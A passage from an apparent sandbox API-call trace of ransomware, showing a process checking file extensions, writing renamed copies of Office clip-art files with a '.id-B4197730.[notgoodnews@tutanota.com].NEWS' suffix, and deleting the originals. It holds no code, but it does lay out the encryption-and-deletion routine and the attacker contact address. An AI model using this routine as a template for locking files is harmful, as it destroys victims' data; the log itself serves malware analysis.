(lpString1=".dbf", lpString2=".WMF") returned -1 [0086.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.226] lstrlenW (lpString=".1cd") returned 4 [0086.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0086.226] lstrlenW (lpString=".jpg") returned 4 [0086.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.226] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.226] lstrlenW (lpString="FD00369_.WMF") returned 12 [0086.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.226] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8552) returned 1 [0086.226] CloseHandle (hObject=0x350) returned 1 [0086.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0086.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.227] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.227] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0086.227] GetLastError () returned 0x0 [0086.227] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2168, lpOverlapped=0x0) returned 1 [0086.228] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2170, lpOverlapped=0x0) returned 1 [0086.229] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.229] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.230] SetEndOfFile (hFile=0x37c) returned 1 [0086.230] CloseHandle (hObject=0x37c) returned 1 [0086.230] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.230] SetEndOfFile (hFile=0x350) returned 1 [0086.231] CloseHandle (hObject=0x350) returned 1 [0086.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0086.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.231] lstrlenW (lpString=".doc") returned 4 [0086.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.231] lstrlenW (lpString=".docx") returned 5 [0086.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.231] lstrlenW (lpString=".pdf") returned 4 [0086.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.231] lstrlenW (lpString=".xls") returned 4 [0086.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.231] lstrlenW (lpString=".xlsx") returned 5 [0086.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.231] lstrlenW (lpString=".ppt") returned 4 [0086.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.232] lstrlenW (lpString=".zip") returned 4 [0086.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.232] lstrlenW (lpString=".rar") returned 4 [0086.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString=".bz2") returned 4 [0086.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString=".7z") returned 3 [0086.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.232] lstrlenW (lpString=".dbf") returned 4 [0086.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.232] lstrlenW (lpString=".1cd") returned 4 [0086.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.232] lstrlenW (lpString=".jpg") returned 4 [0086.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.232] lstrlenW (lpString=".doc") returned 4 [0086.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString=".docx") returned 5 [0086.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.232] lstrlenW (lpString=".pdf") returned 4 [0086.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString=".xls") returned 4 [0086.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.232] lstrlenW (lpString=".xlsx") returned 5 [0086.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.232] lstrlenW (lpString=".ppt") returned 4 [0086.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.232] lstrlenW (lpString=".zip") returned 4 [0086.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.232] lstrlenW (lpString=".rar") returned 4 [0086.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.233] lstrlenW (lpString=".bz2") returned 4 [0086.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.233] lstrlenW (lpString=".7z") returned 3 [0086.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.233] lstrlenW (lpString=".dbf") returned 4 [0086.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.233] lstrlenW (lpString=".1cd") returned 4 [0086.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0086.233] lstrlenW (lpString=".jpg") returned 4 [0086.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.233] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.233] lstrlenW (lpString="FD00382_.WMF") returned 12 [0086.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.233] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8424) returned 1 [0086.233] CloseHandle (hObject=0x350) returned 1 [0086.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0086.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.234] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.234] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0086.234] GetLastError () returned 0x0 [0086.234] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x20e8, lpOverlapped=0x0) returned 1 [0086.236] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x20f0, lpOverlapped=0x0) returned 1 [0086.236] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.237] WriteFile (in: hFile=0x37c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.237] SetEndOfFile (hFile=0x37c) returned 1 [0086.237] CloseHandle (hObject=0x37c) returned 1 [0086.237] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.237] SetEndOfFile (hFile=0x350) returned 1 [0086.238] CloseHandle (hObject=0x350) returned 1 [0086.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.238] lstrlenW (lpString=".doc") returned 4 [0086.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.238] lstrlenW (lpString=".docx") returned 5 [0086.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.238] lstrlenW (lpString=".pdf") returned 4 [0086.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.238] lstrlenW (lpString=".xls") returned 4 [0086.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.238] lstrlenW (lpString=".xlsx") returned 5 [0086.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.238] lstrlenW (lpString=".ppt") returned 4 [0086.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.239] lstrlenW (lpString=".zip") returned 4 [0086.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.239] lstrlenW (lpString=".rar") returned 4 [0086.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.239] lstrlenW (lpString=".bz2") returned 4 [0086.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.239] lstrlenW (lpString=".7z") returned 3 [0086.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.239] lstrlenW (lpString=".dbf") returned 4 [0086.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.239] lstrlenW (lpString=".1cd") returned 4 [0086.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.239] lstrlenW (lpString=".jpg") returned 4 [0086.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.521] lstrlenW (lpString=".doc") returned 4 [0086.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.521] lstrlenW (lpString=".docx") returned 5 [0086.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.521] lstrlenW (lpString=".pdf") returned 4 [0086.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.521] lstrlenW (lpString=".xls") returned 4 [0086.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.521] lstrlenW (lpString=".xlsx") returned 5 [0086.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.521] lstrlenW (lpString=".ppt") returned 4 [0086.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.521] lstrlenW (lpString=".zip") returned 4 [0086.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.521] lstrlenW (lpString=".rar") returned 4 [0086.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.521] lstrlenW (lpString=".bz2") returned 4 [0086.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.521] lstrlenW (lpString=".7z") returned 3 [0086.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.521] lstrlenW (lpString=".dbf") returned 4 [0086.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.521] lstrlenW (lpString=".1cd") returned 4 [0086.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68 [0086.521] lstrlenW (lpString=".jpg") returned 4 [0086.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.522] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.522] lstrlenW (lpString="FD00799_.WMF") returned 12 [0086.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.522] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=13968) returned 1 [0086.522] CloseHandle (hObject=0x39c) returned 1 [0086.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220 [0086.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.522] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.522] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0086.523] GetLastError () returned 0x0 [0086.523] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3690, lpOverlapped=0x0) returned 1 [0086.524] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x36a0, lpOverlapped=0x0) returned 1 [0086.525] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0086.525] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0086.526] SetEndOfFile (hFile=0x350) returned 1 [0086.526] CloseHandle (hObject=0x350) returned 1 [0086.526] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0086.526] SetEndOfFile (hFile=0x39c) returned 1 [0086.527] CloseHandle (hObject=0x39c) returned 1 [0086.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0086.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.527] lstrlenW (lpString=".doc") returned 4 [0086.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.527] lstrlenW (lpString=".docx") returned 5 [0086.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.527] lstrlenW (lpString=".pdf") returned 4 [0086.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.527] lstrlenW (lpString=".xls") returned 4 [0086.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.527] lstrlenW (lpString=".xlsx") returned 5 [0086.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.527] lstrlenW (lpString=".ppt") returned 4 [0086.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.528] lstrlenW (lpString=".zip") returned 4 [0086.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.528] lstrlenW (lpString=".rar") returned 4 [0086.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString=".bz2") returned 4 [0086.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString=".7z") returned 3 [0086.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.528] lstrlenW (lpString=".dbf") returned 4 [0086.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.528] lstrlenW (lpString=".1cd") returned 4 [0086.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.528] lstrlenW (lpString=".jpg") returned 4 [0086.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.528] lstrlenW (lpString=".doc") returned 4 [0086.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString=".docx") returned 5 [0086.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.528] lstrlenW (lpString=".pdf") returned 4 [0086.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString=".xls") returned 4 [0086.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.528] lstrlenW (lpString=".xlsx") returned 5 [0086.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.528] lstrlenW (lpString=".ppt") returned 4 [0086.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.528] lstrlenW (lpString=".zip") returned 4 [0086.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.529] lstrlenW (lpString=".rar") returned 4 [0086.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.529] lstrlenW (lpString=".bz2") returned 4 [0086.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.529] lstrlenW (lpString=".7z") returned 3 [0086.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.529] lstrlenW (lpString=".dbf") returned 4 [0086.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0086.529] lstrlenW (lpString=".1cd") returned 4 [0086.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.529] 